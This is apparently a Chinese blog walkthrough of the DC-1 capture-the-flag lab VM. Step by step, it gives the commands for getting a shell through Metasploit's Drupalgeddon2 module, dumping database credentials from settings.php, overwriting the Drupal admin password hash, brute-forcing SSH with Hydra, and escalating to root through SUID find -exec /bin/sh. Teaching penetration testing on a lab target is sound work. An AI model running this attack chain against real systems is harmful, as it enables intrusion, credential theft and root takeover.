DC-1靶场渗透测试-suid提权-Drupal 7-GetShell Kali-whatweb-nmap-arp使用

DC-1靶场渗透测试:SUID提权与Drupal 7 GetShell实战

涉及工具 :Kali Linux、whatweb、nmap、arp-scan、dirsearch、msfconsole、hydra
核心目标:完成DC-1靶场全流程渗透,获取5个flag并通过SUID提权至root权限

相关靶机推荐

一、准备靶机

1.1 下载与解压

解压后得到以下文件,包含虚拟机镜像及配置信息:

图1-1 靶机解压后文件列表

1.2 导入虚拟机

  1. 打开VMware,选择「文件」→「打开」,加载靶机的.vmx文件;
  2. 导入过程中可能出现兼容性报错,点击「重试」即可继续 ,无需额外配置:

    图1-2 导入报错提示

    图1-3 点击「重试」继续导入
  3. 导入完成后,虚拟机列表将显示「DC-1」,此时靶机准备就绪:

    图1-4 靶机导入成功

二、局域网信息收集

靶机IP未知,需先通过扫描工具识别局域网内存活主机,定位DC-1的IP地址。

2.1 Nmap主机存活扫描

Nmap是网络发现核心工具,-sn参数仅扫描主机存活(不扫描端口,避免触发防护):

bash 复制代码
# 192.168.20.0/24需替换为本地局域网段(通过ip addr查看Kali网卡信息)
nmap -sn 192.168.20.0/24

扫描结果将显示局域网内所有存活主机的IP与MAC地址:

图2-1 Nmap主机存活扫描结果

2.2 ARP-Scan精准定位

arp-scan通过ARP协议扫描(局域网内无路由转发,结果更精准),可直接关联IP与MAC地址:

bash 复制代码
arp-scan -l  # -l:扫描本地路由对应的网段(无需手动指定)


图2-2 arp-scan扫描结果

确认靶机IP(关键步骤)

  1. 打开DC-1虚拟机「设置」→「网络适配器」→「高级」,查看靶机MAC地址(示例:00:0C:29:AC:35:D5);

    图2-3 靶机MAC地址(VMware配置)
  2. 对比arp-scan结果,找到对应MAC地址的IP:192.168.20.153 (后续渗透均基于此IP);

    图2-4 靶机IP确认

三、深度信息收集

定位靶机IP后,需进一步探测端口、服务版本、CMS类型,寻找渗透突破口。

3.1 Nmap端口与系统探测

-O参数开启操作系统版本探测,扫描靶机开放端口及对应服务:

bash 复制代码
nmap -O 192.168.20.153

扫描结果分析

plaintext 复制代码
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 21:44 CST
Nmap scan report for 192.168.20.153
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:AC:35:D5 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.59 seconds

关键信息:

  • 仅开放80端口(HTTP服务),运行Apache 2.2.22(Debian系统);
  • 无其他端口开放,渗透突破口集中在Web服务。

3.2 WhatWeb识别Web技术栈

WhatWeb自动检测Web技术栈(CMS、编程语言、服务器等),-v开启详细模式:

bash 复制代码
whatweb -v 192.168.20.153


图3-1 WhatWeb扫描结果

核心信息汇总(表格优化对齐)

关键信息类别 具体内容
Web服务器版本 Apache 2.2.22
操作系统环境 Debian Linux(Apache/2.2.22 (Debian))
内容管理系统(CMS) Drupal 7(官方链接:http://drupal.org)
前端技术 JQuery(Script类型:text/javascript)
后端编程语言及版本 PHP 5.4.45-0+deb7u14(X-Powered-By:PHP/5.4.45-0+deb7u14)

3.3 访问Web页面与Wappalyzer验证

  1. 浏览器访问http://192.168.20.153,确认Drupal 7默认页面:

    图3-2 Drupal 7默认页面
  2. 安装浏览器扩展「Wappalyzer」,二次验证技术栈(与WhatWeb结果一致):

    图3-3 Wappalyzer验证结果

四、渗透环节:GetShell与Flag获取

4.1 目录FUZZ(Dirsearch)

Dirsearch暴力破解Web路径,寻找隐藏目录/配置文件:

bash 复制代码
# -u:目标URL;-e*:探测所有常见后缀(php、txt、html等);--full-url:显示完整路径
dirsearch -u http://192.168.20.153 -e* --full-url

关键结果

plaintext 复制代码
[22:02:41] 200 -  768B  - http://192.168.20.153/COPYRIGHT.txt  # 确认Drupal版本一致性


图4-1 Dirsearch扫描结果

4.2 Metasploit利用Drupal漏洞GetShell

Drupal 7存在Drupalgeddon 2(SA-CORE-2018-002) 远程代码执行漏洞(漏洞等级:Excellent),可直接GetShell。

步骤1:启动MSF控制台

bash 复制代码
msfconsole  # 启动Metasploit框架


图4-2 启动MSF控制台

步骤2:搜索并加载漏洞模块

bash 复制代码
search Drupal  # 筛选Drupal相关漏洞模块
use exploit/unix/webapp/drupal_drupalgeddon2  # 加载Drupalgeddon 2漏洞模块


图4-3 搜索Drupal漏洞模块

步骤3:配置模块参数

bash 复制代码
show options  # 查看模块必填参数
set RHOSTS 192.168.20.153  # 设置靶机IP(核心参数)
show options  # 确认参数配置(LHOST为Kali本地IP,自动填充)


图4-4 配置漏洞模块参数

图4-5 确认RHOSTS设置

步骤4:执行攻击与获取Shell

bash 复制代码
exploit  # 启动攻击(成功后获取Meterpreter会话)
shell    # 从Meterpreter切换到目标系统终端


图4-6 攻击成功获取Meterpreter会话

图4-7 切换为系统shell

步骤5:完善交互Shell(关键优化)

默认shell功能有限(无命令补全、上下键历史),通过Python生成标准bash:

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'  # 生成交互式bash
export TERM=xterm  # 可选:启用终端颜色和全屏支持


图4-8 完善交互shell

4.3 获取Flag1(数据库配置文件)

Flag1提示:"所有优秀的CMS都需要一个配置文件,你也不例外"

Drupal 7核心配置文件路径:/var/www/sites/default/settings.php(存储数据库账密等关键信息):

bash 复制代码
cat /var/www/sites/default/settings.php  # 读取配置文件


图4-9 Flag1位置

图4-10 查看配置文件内容

数据库关键信息(加粗突出)

php 复制代码
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',  # 数据库名
      'username' => 'dbuser',     # 数据库用户名
      'password' => 'R0ck3t',     # 数据库密码(关键)
      'host' => 'localhost',      # 数据库地址(本地)
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

4.4 数据库操作与修改Admin密码(获取Flag2)

步骤1:登录MySQL数据库

使用配置文件中的账密登录(-p后直接跟密码,无空格):

bash 复制代码
mysql -udbuser -pR0ck3t  # -u:用户名;-p:密码


图4-11 登录MySQL数据库

步骤2:查询Drupal用户表

Drupal用户信息存储在 drupaldb.users 表,密码采用Drupal专用哈希加密:

sql 复制代码
use drupaldb;                  # 切换到drupal数据库
desc users;                    # 查看users表结构(确认密码字段)
select name, pass from users;  # 查询管理员账号(name=admin)


图4-12 查询users表中的管理员密码(加密)

步骤3:生成Drupal密码哈希

Drupal密码无法直接解密,需生成新哈希覆盖原有密码(使用Drupal自带脚本):

bash 复制代码
cd /var/www  # 切换到Drupal根目录
./scripts/password-hash.sh admin123  # 生成密码admin123的哈希

生成的哈希(复制备用):
$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8

图4-13 生成新密码哈希

步骤4:更新Admin密码

sql 复制代码
# 覆盖admin用户的密码(替换为新哈希)
update users set pass = "$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8" where name = 'admin';


图4-14 覆盖管理员密码

4.5 登录Drupal后台获取Flag3

  1. 浏览器访问 http://192.168.20.153/user,使用账号admin、密码admin123登录;
  2. 登录后在「Dashboard」页面找到Flag3:

    图4-15 Drupal后台Flag3

Flag3提示:"特殊权限(Special PERMS)将有助于找到 passwd 文件 ------ 但你需要使用 -exec(find 命令参数)来运行相关命令,进而获取 shadow 影子密码文件内容"

4.6 爆破Flag4用户(Hydra)

步骤1:查看/etc/shadow文件(确认目标用户)

/etc/shadow 存储用户密码哈希,发现存在 flag4 用户:

bash 复制代码
cat /etc/shadow  # 读取影子密码文件


图4-16 /etc/shadow中的flag4用户

步骤2:Hydra爆破SSH密码

DC-1开放SSH服务(22端口),使用Hydra爆破flag4用户密码:

bash 复制代码
# -l:指定用户名(flag4);-P:密码字典(Kali自带rockyou字典);ssh://目标IP
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.20.153


图4-17 Hydra爆破成功(密码:orange)

步骤3:SSH登录Flag4用户与获取Flag4

bash 复制代码
ssh flag4@192.168.20.153  # SSH登录flag4用户
# 输入密码orange,登录后执行:
cat flag4.txt  # 查看当前目录的flag4.txt

Flag4提示:"你能使用同样的方法来找到或访问根目录(root)下的目标标识文件(flag)吗?或许可以。但这可能没那么简单。不过,也说不定其实很简单呢?"

图4-18 获取Flag4

五、SUID提权至Root(获取最终Flag)

5.1 SUID权限原理

SUID(Set User ID)是Linux特殊权限:

  • 当用户执行带有SUID权限的文件时,将临时获得文件所有者的权限;
  • 若文件所有者为root,则执行该文件时,用户临时拥有root权限(提权核心原理)。

5.2 查找SUID权限文件

通过find命令搜索系统中所有带SUID权限的文件(-perm -u=s表示用户权限含SUID):

bash 复制代码
# /:搜索根目录;-perm -u=s:筛选SUID权限;-type f:仅文件;2>/dev/null:忽略报错
find / -perm -u=s -type f 2>/dev/null


图5-1 查找SUID文件(find命令含SUID权限)

关键发现 :/usr/bin/find 带有SUID权限,且所有者为root------可通过find -exec参数执行命令,临时获得root权限。

5.3 利用Find提权至Root

find -exec 参数:找到文件后执行指定命令,结合SUID权限执行/bin/sh,直接获取root shell:

bash 复制代码
# 任意找一个存在的文件(如index.php),通过-exec执行/bin/sh
find / -name index.php -exec "/bin/sh" \;

执行后验证权限(已切换为root):

bash 复制代码
whoami  # 输出root,确认提权成功


图5-2 利用find提权至root

5.4 获取最终Flag(root目录)

root目录下的thefinalflag.txt为最终目标:

bash 复制代码
cd /root  # 切换到root目录
cat thefinalflag.txt  # 查看最终flag


图5-3 最终Flag内容

最终Flag提示:"做得好!!!希望你喜欢这次体验,并且学到了一些新技能。你可以通过 Twitter 联系我(@DCAU7),告诉我你对这段小旅程的看法"

六、渗透总结(表格优化)

阶段 核心操作 工具/漏洞 目标成果
信息收集 主机存活扫描、端口探测、CMS识别 nmap、arp-scan、whatweb 定位靶机IP(192.168.20.153)、识别Drupal 7
GetShell 利用Drupalgeddon 2漏洞远程代码执行 msfconsole 获取系统shell(www-data权限)
权限提升(1) 读取数据库配置、修改Drupal管理员密码 MySQL、Drupal密码脚本 登录后台获取Flag3
权限提升(2) Hydra爆破SSH、SUID提权(find命令) hydra、find 获得root权限
目标达成 获取5个Flag(含最终root目录Flag) ------ 完成DC-1全流程渗透

相关推荐
墨云安全4 天前
系统安全检测方案怎么写?从资产清点到复测闭环的技术框架
安全·网络安全·渗透测试·系统安全
文章永久免费只为良心8 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全9 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全9 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全10 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全10 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全11 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全14 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
白猫不黑17 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化
Eason_LYC21 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全